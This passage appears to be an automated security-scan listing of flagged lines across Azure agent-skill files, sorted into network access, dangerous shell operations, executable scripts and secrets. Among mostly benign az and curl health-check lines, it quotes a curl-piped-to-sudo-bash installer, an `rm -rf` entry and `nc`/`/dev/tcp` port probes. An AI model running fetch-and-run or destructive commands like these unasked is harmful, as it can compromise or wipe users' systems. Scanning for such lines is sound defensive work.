    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/claude-code/skills/azure-cost/cost-optimization/azure-aks-anomalies.md

  • Network accessline 12
    az rest --method post \   --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.CostManagement/query?api-version=2023-11-01" \
  • Network accessline 13
    --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.CostManagement/query?api-version=2023-11-01" \

harness/claude-code/skills/azure-cost/cost-optimization/report-template.md

  • Network accessline 56
    https://portal.azure.com/#@<TENANT_ID>/resource/subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/<RESOURCE_PROVIDER>/<RESOURCE_TYPE>/<RESOURCE_NAME>/overview

harness/claude-code/skills/azure-cost/cost-optimization/services/storage/azure-storage.md

  • Network accessline 185
    Always validate from [official pricing](https://azure.microsoft.com/pricing/details/storage/blobs/).

harness/claude-code/skills/azure-cost/cost-optimization/workflow.md

  • Network accessline 168
    **Key services to validate:** - Container Apps: https://azure.microsoft.com/pricing/details/container-apps/
  • Network accessline 169
    - Container Apps: https://azure.microsoft.com/pricing/details/container-apps/
  • Network accessline 170
    - Virtual Machines: https://azure.microsoft.com/pricing/details/virtual-machines/
  • Network accessline 171
    - App Service: https://azure.microsoft.com/pricing/details/app-service/
  • Network accessline 172
    - Log Analytics: https://azure.microsoft.com/pricing/details/monitor/

harness/claude-code/skills/azure-cost/cost-query/error-handling.md

  • Network accessline 12
    | 404 | `NotFound` | Scope does not exist, subscription not found, or resource group does not exist. | Verify the scope URL. Confirm the subscription ID and resource group name are correct. | | 429 | `TooManyRequests` | Rate limit exceeded.
  • Network accessline 14
    | 503 | `ServiceUnavailable` | Cost Management service is temporarily unavailable. | Check [Azure Status](https://status.azure.com) for service health. |
  • Network accessline 37
    | 403 | ❌ No | Fix permissions. Request appropriate RBAC role assignment on the scope. | | 404 | ❌ No | Fix the scope URL. Verify resource exists. | | 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service hea
  • Network accessline 38
    | 404 | ❌ No | Fix the scope URL. Verify resource exists. | | 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service health. | | 5xx (other) | ❌ No | Do not retry. Investigate the error and check service healt
  • Network accessline 39
    | 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service health. |

harness/claude-code/skills/azure-cost/cost-query/request-body-schema.md

  • Network accessline 3
    Schema for the [Cost Management Query API](https://learn.microsoft.com/en-us/rest/api/cost-management/query/usage).

harness/claude-code/skills/azure-cost/cost-query/workflow.md

  • Network accessline 137
    | 404 | Scope not found | Verify scope URL and resource IDs. | | 429 | Too many requests | Check all `x-ms-ratelimit-microsoft.costmanagement-*-retry-after` headers (`qpu`, `entity`, `tenant`). Wait for the **longest** value. **Max 3 retrie
  • Network accessline 139
    | 503 | Service unavailable | Check [Azure Status](https://status.azure.com). |

harness/claude-code/skills/azure-deploy/SKILL.md

  • Network accessline 56
    > **APIM / AI Gateway**: Use this skill to deploy applications whose APIM/AI gateway infrastructure was already created during **azure-prepare**. For creating or changing APIM resources, see [APIM deployment guide](https://learn.microsoft.c
  • Network accessline 79
    | 8 | **Verify Success** — Confirm deployment completed and endpoints are accessible | [Verification](references/recipes/azd/verify.md) | | 9 | **Live Role Verification** — Query Azure to confirm provisioned RBAC roles are correct and suffi
  • Network accessline 81
    | 10 | **Report Results** — Present deployed endpoint URLs to the user as fully-qualified `https://` links | [Verification](references/recipes/azd/verify.md) |
  • Network accessline 83
    > **⛔ URL FORMAT RULE** > > When presenting endpoint URLs to the user, you **MUST** always use fully-qualified URLs with the `https://` scheme (e.g. `https://myapp.azurewebsites.net`, not `myapp.azurewebsites.net`). Many Azure CLI commands 
  • Network accessline 85
    > When presenting endpoint URLs to the user, you **MUST** always use fully-qualified URLs with the `https://` scheme (e.g. `https://myapp.azurewebsites.net`, not `myapp.azurewebsites.net`). Many Azure CLI commands return bare hostnames with

harness/claude-code/skills/azure-deploy/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/claude-code/skills/azure-deploy/references/global-rules.md

  • Dangerous shell operationline 13
    | **Delete** | `az group delete`, `azd down`, `rm -rf`, delete resource |

harness/claude-code/skills/azure-deploy/references/recipes/azcli/verify.md

  • Network accessline 10
    curl -s https://<endpoint>/health | jq .
  • Network accessline 39
    # Container Apps FQDN=$(az containerapp show --name <app-name> --resource-group <rg-name> --query "properties.configuration.ingress.fqdn" -o tsv) echo "https://$FQDN"
  • Network accessline 41
    echo "https://$FQDN"
  • Network accessline 43
    # App Service HOSTNAME=$(az webapp show --name <app-name> --resource-group <rg-name> --query "defaultHostName" -o tsv) echo "https://$HOSTNAME"
  • Network accessline 45
    echo "https://$HOSTNAME"
  • Network accessline 47
    # Static Web Apps HOSTNAME=$(az staticwebapp show --name <app-name> --resource-group <rg-name> --query "defaultHostname" -o tsv) echo "https://$HOSTNAME"
  • Network accessline 49
    echo "https://$HOSTNAME"
  • Network accessline 54
    # Container Apps $Fqdn = az containerapp show --name <app-name> --resource-group <rg-name> --query "properties.configuration.ingress.fqdn" -o tsv Write-Output "https://$Fqdn"
  • Network accessline 56
    Write-Output "https://$Fqdn"
  • Network accessline 58
    # App Service $Hostname = az webapp show --name <app-name> --resource-group <rg-name> --query "defaultHostName" -o tsv Write-Output "https://$Hostname"
  • Network accessline 60
    Write-Output "https://$Hostname"
  • Network accessline 62
    # Static Web Apps $Hostname = az staticwebapp show --name <app-name> --resource-group <rg-name> --query "defaultHostname" -o tsv Write-Output "https://$Hostname"
  • Network accessline 64
    Write-Output "https://$Hostname"
  • Network accessline 67
    > ⚠<U+FE0F> **These commands return bare hostnames without a scheme.** Always prepend `https://` when presenting URLs to the user. For example, report `https://myapp.azurewebsites.net`, never `myapp.azurewebsites.net`.
  • Network accessline 69
    Present a summary including all service URLs as fully-qualified `https://` links. Do NOT end your response without including them.

harness/claude-code/skills/azure-deploy/references/recipes/azd/ef-migrations.md

  • Network accessline 146
    - [SQL Managed Identity Access](sql-managed-identity.md) - [Post-Deployment Guide](post-deployment.md) - [EF Core Migrations](https://learn.microsoft.com/ef/core/managing-schemas/migrations/)
  • Network accessline 148
    - [EF Core Migrations](https://learn.microsoft.com/ef/core/managing-schemas/migrations/)

harness/claude-code/skills/azure-deploy/references/recipes/azd/functions-deploy.md

  • Network accessline 73
    # Check status code only (GET, don't follow redirects) curl -s -o /dev/null -w "%{http_code}" "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 74
    curl -s -o /dev/null -w "%{http_code}" "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 76
    # Get status code and redirect URL curl -s -o /dev/null -w "Status: %{http_code}\nRedirect: %{redirect_url}" "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 77
    curl -s -o /dev/null -w "Status: %{http_code}\nRedirect: %{redirect_url}" "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 79
    # Verbose output showing response headers (GET) curl -sS -D - -o /dev/null "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 80
    curl -sS -D - -o /dev/null "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 86
    # DO NOT use this — returns 404 even when the function works curl -I "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 87
    curl -I "https://<func-name>.azurewebsites.net/api/<route>"

harness/claude-code/skills/azure-deploy/references/recipes/azd/post-deployment.md

  • Dangerous shell operationline 38
    eval $(azd env get-values)
  • Network accessline 78
    # Health check curl -f "$ENDPOINT/health" || echo "Health check failed"
  • Network accessline 79
    curl -f "$ENDPOINT/health" || echo "Health check failed"
  • Network accessline 81
    # Test database connectivity curl -f "$ENDPOINT/api/test-db" || echo "Database connection failed"
  • Network accessline 82
    curl -f "$ENDPOINT/api/test-db" || echo "Database connection failed"

harness/claude-code/skills/azure-deploy/references/recipes/azd/scripts/apply-migrations.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/azure-deploy/references/recipes/azd/scripts/apply-migrations.sh

  • Executable scriptline 1
    #!/bin/bash

harness/claude-code/skills/azure-deploy/references/recipes/azd/scripts/grant-and-migrate.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/azure-deploy/references/recipes/azd/scripts/grant-and-migrate.sh

  • Executable scriptline 1
    #!/bin/bash

harness/claude-code/skills/azure-deploy/references/recipes/azd/sql-managed-identity.md

  • Dangerous shell operationline 16
    eval $(azd env get-values)
  • Dangerous shell operationline 83
    eval $(azd env get-values)
  • Dangerous shell operationline 171
    eval $(azd env get-values)

harness/claude-code/skills/azure-deploy/references/recipes/azd/verify.md

  • Network accessline 14
    Resource Group: rg-myapp-dev   Services:     api - Endpoint: https://api-xxxx.azurecontainerapps.io
  • Network accessline 16
    api - Endpoint: https://api-xxxx.azurecontainerapps.io
  • Network accessline 25
    # Test endpoint curl -f "$ENDPOINT/health" || curl -f "$ENDPOINT"
  • Network accessline 26
    curl -f "$ENDPOINT/health" || curl -f "$ENDPOINT"
  • Network accessline 66
    | Service | Endpoint | |---------|----------| | apiservice | https://apiservice.xxx.azurecontainerapps.io |
  • Network accessline 68
    | apiservice | https://apiservice.xxx.azurecontainerapps.io |
  • Network accessline 70
    Aspire Dashboard: https://aspire-dashboard.xxx.azurecontainerapps.io
  • Network accessline 73
    > ⚠<U+FE0F> **Always use fully-qualified URLs with the `https://` scheme.** If a command returns a bare hostname (e.g. `myapp.azurestaticapps.net`), prepend `https://` before presenting it to the user.
  • Dangerous shell operationline 85
    eval $(azd env get-values)

harness/claude-code/skills/azure-deploy/references/recipes/bicep/verify.md

  • Network accessline 18
    curl -s https://<endpoint>/health | jq .
  • Network accessline 31
    Present a summary including all service URLs as fully-qualified `https://` links. If a deployment output returns a bare hostname (e.g. `myapp.azurewebsites.net`), always prepend `https://`. Do NOT end your response without including them.

harness/claude-code/skills/azure-deploy/references/recipes/cicd/verify.md

  • Network accessline 16
    curl -s https://<endpoint>/health | jq .
  • Network accessline 23
    Extract endpoints from the pipeline output or query them directly via `az` CLI. Present a summary including all service URLs as fully-qualified `https://` links. If any command returns a bare hostname (e.g. `myapp.azurewebsites.net`), alway

harness/claude-code/skills/azure-deploy/references/recipes/terraform/README.md

  • Access to secretsline 18
    [Credential-related source omitted]

harness/claude-code/skills/azure-deploy/references/recipes/terraform/errors.md

  • Access to secretsline 10
    [Credential-related source omitted]

harness/claude-code/skills/azure-deploy/references/recipes/terraform/verify.md

  • Network accessline 11
    curl -s https://$(terraform output -raw api_url)/health | jq .
  • Network accessline 30
    Present a summary including all service URLs as fully-qualified `https://` links. If a Terraform output returns a bare hostname (e.g. `myapp.azurewebsites.net`), always prepend `https://`. Do NOT end your response without including them.

harness/claude-code/skills/azure-deploy/references/region-availability.md

  • Network accessline 3
    > **AUTHORITATIVE SOURCE** — Consult this file BEFORE recommending any region. > > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table
  • Network accessline 5
    > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table
  • Network accessline 65
    > Check https://learn.microsoft.com/azure/ai-services/openai/concepts/models for current model availability.

harness/claude-code/skills/azure-deploy/references/sdk/azd-deployment.md

  • Access to secretsline 25
    [Credential-related source omitted]

harness/claude-code/skills/azure-deploy/references/troubleshooting.md

  • Network accessline 114
    {   "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 115
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 134
    **Reference:** [Use environment variables in infrastructure files](https://learn.microsoft.com/azure/developer/azure-developer-cli/manage-environment-variables?tabs=bash#use-environment-variables-in-infrastructure-files)

harness/claude-code/skills/azure-deployment-preflight/SKILL.md

  • Access to secretsline 40
    [Credential-related source omitted]

harness/claude-code/skills/azure-deployment-preflight/references/ERROR-HANDLING.md

  • Network accessline 35
    - **Message:** Not logged in to Azure CLI - **Remediation:** Run `az login` to authenticate, then re-run preflight validation - **Documentation:** https://learn.microsoft.com/en-us/cli/azure/authenticate-azure-cli
  • Network accessline 37
    - **Documentation:** https://learn.microsoft.com/en-us/cli/azure/authenticate-azure-cli
  • Network accessline 166
    - **Message:** Found unexpected tokens in interpolated expression - **Remediation:** Check the string interpolation syntax at line 22 - **Documentation:** https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/bicep-core-diagn
  • Network accessline 168
    - **Documentation:** https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/bicep-core-diagnostics#bcp064
  • Network accessline 211
    2. Provide installation instructions.   - If available use the Azure MCP `extension_cli_install` tool to get installation instructions.   - Otherwise look for instructions at https://learn.microsoft.com/en-us/cli/azure/install-azure-cli.
  • Network accessline 212
    - If available use the Azure MCP `extension_cli_install` tool to get installation instructions.   - Otherwise look for instructions at https://learn.microsoft.com/en-us/cli/azure/install-azure-cli. 3. Skip az commands
  • Network accessline 213
    - Otherwise look for instructions at https://learn.microsoft.com/en-us/cli/azure/install-azure-cli.
  • Network accessline 245
    - **Source:** environment - **Message:** Bicep CLI is not installed - **Remediation:** Install Bicep CLI: https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/install
  • Network accessline 246
    - **Message:** Bicep CLI is not installed - **Remediation:** Install Bicep CLI: https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/install - **Impact:** Syntax validation was skipped; Azure will validate during what-if
  • Network accessline 247
    - **Remediation:** Install Bicep CLI: https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/install

harness/claude-code/skills/azure-deployment-preflight/references/VALIDATION-COMMANDS.md

  • Network accessline 297
    {   "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 298
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Access to secretsline 310
    [Credential-related source omitted]

harness/claude-code/skills/azure-developer-cli/examples/azure.yaml

  • Network accessline 1
    # yaml-language-server: $schema=https://raw.githubusercontent.com/Azure/azure-dev/main/schemas/v1.0/azure.yaml.json

harness/claude-code/skills/azure-developer-cli/references/iac-and-environments.md

  • Network accessline 63
    {   "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 64
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Access to secretsline 147
    [Credential-related source omitted]

harness/claude-code/skills/azure-developer-cli/references/official-docs.md

  • Network accessline 7
    - [Azure Developer CLI documentation](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/)
  • Network accessline 8
    - [What is the Azure Developer CLI?](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/overview)
  • Network accessline 9
    - [Azure Developer CLI templates overview](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-templates)
  • Network accessline 10
    - [Create Azure Developer CLI templates overview](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/make-azd-compatible)
  • Network accessline 11
    - [Azure Developer CLI schema reference](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-schema)
  • Network accessline 12
    - [`azure.yaml` JSON schema](https://aka.ms/azure.yaml.json)
  • Network accessline 13
    - [Explore the `azd up` workflow](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-up-workflow)
  • Network accessline 14
    - [Full-stack deployment with Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/full-stack-deployment)
  • Network accessline 18
    - [Use Terraform as an infrastructure as code tool for Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/use-terraform-for-azd)
  • Network accessline 19
    - [Azure Verified Modules](https://azure.github.io/Azure-Verified-Modules/)
  • Network accessline 20
    - [Bicep documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/)
  • Network accessline 21
    - [Terraform on Azure documentation](https://learn.microsoft.com/en-us/azure/developer/terraform/)
  • Network accessline 25
    - [Azure Developer CLI environments overview](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/environments-overview)
  • Network accessline 26
    - [Work with Azure Developer CLI environments](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/work-with-environments)
  • Network accessline 27
    - [Work with Azure Developer CLI environment variables](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/manage-environment-variables)
  • Network accessline 28
    - [Remote environments support](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/remote-environments-support)
  • Network accessline 29
    - [Use environment secrets with Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/environment-secrets)
  • Network accessline 33
    - [Customize Azure Developer CLI workflows using hooks](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-extensibility)
  • Network accessline 34
    - [Explore Azure Developer CLI support for CI/CD pipelines](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/configure-devops-pipeline)
  • Network accessline 35
    - [Create a GitHub Actions CI/CD pipeline using Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/pipeline-github-actions)
  • Network accessline 36
    - [Advanced pipeline features and configurations](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/pipeline-advanced-features)
  • Network accessline 37
    - [Azure Developer CLI command reference](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/reference)
  • Network accessline 38
    - [Troubleshoot Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/troubleshoot)
  • Network accessline 42
    - [Adding agent skills for GitHub Copilot](https://docs.github.com/en/copilot/how-tos/copilot-on-github/customize-copilot/customize-cloud-agent/add-skills)
  • Network accessline 43
    - [About agent skills](https://docs.github.com/en/copilot/concepts/agents/about-agent-skills)

harness/claude-code/skills/azure-developer-cli/references/project-structure.md

  • Network accessline 59
    # yaml-language-server: $schema=https://raw.githubusercontent.com/Azure/azure-dev/main/schemas/v1.0/azure.yaml.json

harness/claude-code/skills/azure-devops-cli/SKILL.md

  • Network accessline 31
    # Install Azure CLI on Linux curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Dangerous shell operationline 32
    curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Network accessline 32
    curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Network accessline 41
    az devops login --organization https://dev.azure.com/{org} --token YOUR_PAT_TOKEN
  • Network accessline 42
    az devops configure --defaults organization=https://dev.azure.com/{org} project={project}
  • Network accessline 46
    Replace legacy `https://{org}.visualstudio.com` URLs with `https://dev.azure.com/{org}`.
  • Network accessline 133
    - **Do not expose `YOUR_PAT_TOKEN`**: pass tokens through secure input or environment-controlled login, never commit them. - **Configure defaults carefully**: stale defaults can mutate the wrong organization or project. - **Prefer `https://
  • Network accessline 134
    - **Configure defaults carefully**: stale defaults can mutate the wrong organization or project. - **Prefer `https://dev.azure.com/{org}`**: legacy `https://{org}.visualstudio.com` URLs should be replaced. - **Windows long comments fail thr
  • Network accessline 135
    - **Prefer `https://dev.azure.com/{org}`**: legacy `https://{org}.visualstudio.com` URLs should be replaced.
  • Network accessline 161
    **Status:** complete | blocked | failed **Organization:** `https://dev.azure.com/{org}`
  • Network accessline 162
    **Organization:** `https://dev.azure.com/{org}`
  • Network accessline 182
    - [ ] Azure CLI and `azure-devops` extension prerequisites are satisfied or installation commands are provided. - [ ] Organization uses `https://dev.azure.com/{org}` and the project context is explicit.
  • Network accessline 183
    - [ ] Organization uses `https://dev.azure.com/{org}` and the project context is explicit.
  • Network accessline 192
    - [Azure CLI Linux install](https://aka.ms/InstallAzureCLIDeb)

harness/claude-code/skills/azure-devops-cli/references/advanced-usage.md

  • Network accessline 159
    | Parameter | Description | |---|---| | `--org` / `--organization` | Azure DevOps organization URL (e.g., `https://dev.azure.com/{org}`) |
  • Network accessline 160
    |---|---| | `--org` / `--organization` | Azure DevOps organization URL (e.g., `https://dev.azure.com/{org}`) | | `--project` / `-p` | Project name or ID |
  • Network accessline 161
    | `--org` / `--organization` | Azure DevOps organization URL (e.g., `https://dev.azure.com/{org}`) |

harness/claude-code/skills/azure-devops-cli/references/long-comments-on-windows.md

  • Network accessline 54
    The Azure CLI `@<file>` convention is documented for JSON parameters (see [the official quoting guide](https://learn.microsoft.com/en-us/cli/azure/use-azure-cli-successfully-quoting)). It is not guaranteed to expand plain string args like `

harness/claude-code/skills/azure-devops-cli/references/org-and-security.md

  • Network accessline 22
    az devops project list --organization https://dev.azure.com/{org}
  • Network accessline 29
    az devops project create \   --name myNewProject \   --organization https://dev.azure.com/{org} \
  • Network accessline 30
    --name myNewProject \   --organization https://dev.azure.com/{org} \   --description "My new DevOps project" \
  • Network accessline 31
    --organization https://dev.azure.com/{org} \
  • Network accessline 40
    az devops project show --project {project-name} --org https://dev.azure.com/{org}
  • Network accessline 46
    az devops project delete --id {project-id} --org https://dev.azure.com/{org} --yes
  • Network accessline 155
    az devops user list --org https://dev.azure.com/{org}
  • Network accessline 162
    az devops user show --user {user-id-or-email} --org https://dev.azure.com/{org}
  • Network accessline 168
    az devops user add    --email user@example.com    --license-type express    --org https://dev.azure.com/{org}
  • Network accessline 169
    --email user@example.com \   --license-type express \   --org https://dev.azure.com/{org}
  • Network accessline 171
    --org https://dev.azure.com/{org}
  • Network accessline 177
    az devops user update    --user {user-id-or-email}    --license-type advanced    --org https://dev.azure.com/{org}
  • Network accessline 178
    --user {user-id-or-email} \   --license-type advanced \   --org https://dev.azure.com/{org}
  • Network accessline 180
    --org https://dev.azure.com/{org}
  • Network accessline 186
    az devops user remove --user {user-id-or-email} --org https://dev.azure.com/{org} --yes
  • Network accessline 440
    # List installed extensions az devops extension list --org https://dev.azure.com/{org}
  • Network accessline 441
    az devops extension list --org https://dev.azure.com/{org}
  • Network accessline 446
    # Show extension details az devops extension show --ext-id {extension-id} --org https://dev.azure.com/{org}
  • Network accessline 447
    az devops extension show --ext-id {extension-id} --org https://dev.azure.com/{org}
  • Network accessline 450
    az devops extension install \   --ext-id {extension-id} \   --org https://dev.azure.com/{org} \
  • Network accessline 451
    --ext-id {extension-id} \   --org https://dev.azure.com/{org} \   --publisher {publisher-id}
  • Network accessline 452
    --org https://dev.azure.com/{org} \
  • Network accessline 456
    az devops extension enable \   --ext-id {extension-id} \   --org https://dev.azure.com/{org}
  • Network accessline 458
    --org https://dev.azure.com/{org}
  • Network accessline 461
    az devops extension disable \   --ext-id {extension-id} \   --org https://dev.azure.com/{org}
  • Network accessline 463
    --org https://dev.azure.com/{org}
  • Network accessline 466
    az devops extension uninstall \   --ext-id {extension-id} \   --org https://dev.azure.com/{org} --yes
  • Network accessline 468
    --org https://dev.azure.com/{org} --yes

harness/claude-code/skills/azure-devops-cli/references/pipelines-and-builds.md

  • Network accessline 39
    az pipelines create \   --name 'GitHubPipeline' \   --repository https://github.com/Org/Repo \
  • Network accessline 40
    --name 'GitHubPipeline' \   --repository https://github.com/Org/Repo \   --branch main \
  • Network accessline 41
    --repository https://github.com/Org/Repo \

harness/claude-code/skills/azure-devops-cli/references/repos-and-prs.md

  • Network accessline 17
    az repos list --org https://dev.azure.com/{org} --project {project}
  • Network accessline 50
    # Import from public Git repository az repos import create \   --git-source-url https://github.com/user/repo \
  • Network accessline 51
    az repos import create    --git-source-url https://github.com/user/repo
  • Network accessline 52
    --git-source-url https://github.com/user/repo \
  • Network accessline 55
    # Import with authentication az repos import create \   --git-source-url https://github.com/{owner}/{repo} \
  • Network accessline 56
    az repos import create    --git-source-url https://github.com/{owner}/{repo}
  • Network accessline 57
    --git-source-url https://github.com/{owner}/{repo} \

harness/claude-code/skills/azure-devops-cli/references/workflows-and-patterns.md

  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 158
    [Credential-related source omitted]
  • Network accessline 177
    "serviceEndpointId": "$SERVICE_ENDPOINT_ID"   },   "url": "https://learn.microsoft.com/en-us/rest/api/resources/",
  • Network accessline 178
    [Credential-related source omitted]
  • Network accessline 179
    "url": "https://learn.microsoft.com/en-us/rest/api/resources/",
  • Access to secretsline 185
    [Credential-related source omitted]
  • Network accessline 333
    # Alternative download method   curl -L "$BACKUP_URL" -o ./output/backup.zip
  • Network accessline 334
    curl -L "$BACKUP_URL" -o ./output/backup.zip
  • Access to secretsline 460
    [Credential-related source omitted]
  • Access to secretsline 461
    [Credential-related source omitted]
  • Network accessline 553
    if [[ "$RESULT" == "failed" ]]; then       # Send Slack alert       curl -X POST "$slack_webhook" \
  • Network accessline 554
    # Send Slack alert       curl -X POST "$slack_webhook" \         -H 'Content-Type: application/json' \
  • Network accessline 555
    curl -X POST "$slack_webhook" \

harness/claude-code/skills/azure-diagnostics/references/app-service/README.md

  • Network accessline 6
    |---------|--------------|-----------| | High CPU / memory | Runaway process, inefficient code | Use Process Explorer via Kudu, scale up | | Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewe
  • Network accessline 7
    | High CPU / memory | Runaway process, inefficient code | Use Process Explorer via Kudu, scale up | | Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewebsites.net/api/deployments` to look for
  • Network accessline 8
    | Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewebsites.net/api/deployments` to look for details on build errors, locked files or lack of storage quota |
  • Network accessline 30
    **Fix:** Scale up (`az appservice plan update -n <app-service-plan-name> -g <resource-group> --sku P1V3`) or profile the app via Kudu Process Explorer at `https://APP.scm.azurewebsites.net/ProcessExplorer/` to identify hot paths.
  • Network accessline 96
    # Test the endpoint directly curl -s -o /dev/null -w "%{http_code}" https://APP.azurewebsites.net/health
  • Network accessline 97
    curl -s -o /dev/null -w "%{http_code}" https://APP.azurewebsites.net/health

harness/claude-code/skills/azure-diagnostics/references/container-apps/README.md

  • Network accessline 61
    # Check if /health endpoint responds curl https://APP.REGION.azurecontainerapps.io/health
  • Network accessline 62
    curl https://APP.REGION.azurecontainerapps.io/health

harness/claude-code/skills/azure-diagnostics/references/kql-queries.md

  • Network accessline 64
    - [KQL Quick Reference](https://learn.microsoft.com/azure/data-explorer/kql-quick-reference)
  • Network accessline 65
    - [Application Insights Queries](https://learn.microsoft.com/azure/azure-monitor/logs/queries)

harness/claude-code/skills/azure-diagnostics/scripts/aks-baseline.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/azure-diagnostics/scripts/aks-baseline.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/skills/azure-diagnostics/scripts/appservice-diagnostics.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/azure-diagnostics/scripts/appservice-diagnostics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/skills/azure-diagnostics/scripts/containerapp-diagnostics.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/azure-diagnostics/scripts/containerapp-diagnostics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/skills/azure-diagnostics/scripts/pod-evidence.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/azure-diagnostics/scripts/pod-evidence.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/skills/azure-diagnostics/scripts/run-ig.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/azure-diagnostics/scripts/run-ig.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/skills/azure-diagnostics/scripts/test-messaging-connectivity.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 89
    function Get-HttpsResult {     try {         $resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 `
  • Network accessline 90
    try {         $resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 `             -UseBasicParsing -ErrorAction Stop
  • Network accessline 91
    $resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 `

harness/claude-code/skills/azure-diagnostics/scripts/test-messaging-connectivity.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 99
    probe_tcp() {     local host="$1" port="$2"     if command -v nc >/dev/null 2>&1; then
  • Network accessline 100
    local host="$1" port="$2"     if command -v nc >/dev/null 2>&1; then         if nc -z -w 5 "$host" "$port" >/dev/null 2>&1; then
  • Network accessline 101
    if command -v nc >/dev/null 2>&1; then
  • Network accessline 102
    if nc -z -w 5 "$host" "$port" >/dev/null 2>&1; then
  • Dangerous shell operationline 108
    ( exec 3<>"/dev/tcp/$host/$port" ) >/dev/null 2>&1 &
  • Network accessline 108
    ( exec 3<>"/dev/tcp/$host/$port" ) >/dev/null 2>&1 &
  • Network accessline 132
    # ── HTTPS reachability ──────────────────────────────────────────────────────── # On success the namespace returns an Atom feed or HTTP 401 — either proves the # endpoint is reachable. A connection failure (curl exit != 0) means blocked.
  • Network accessline 134
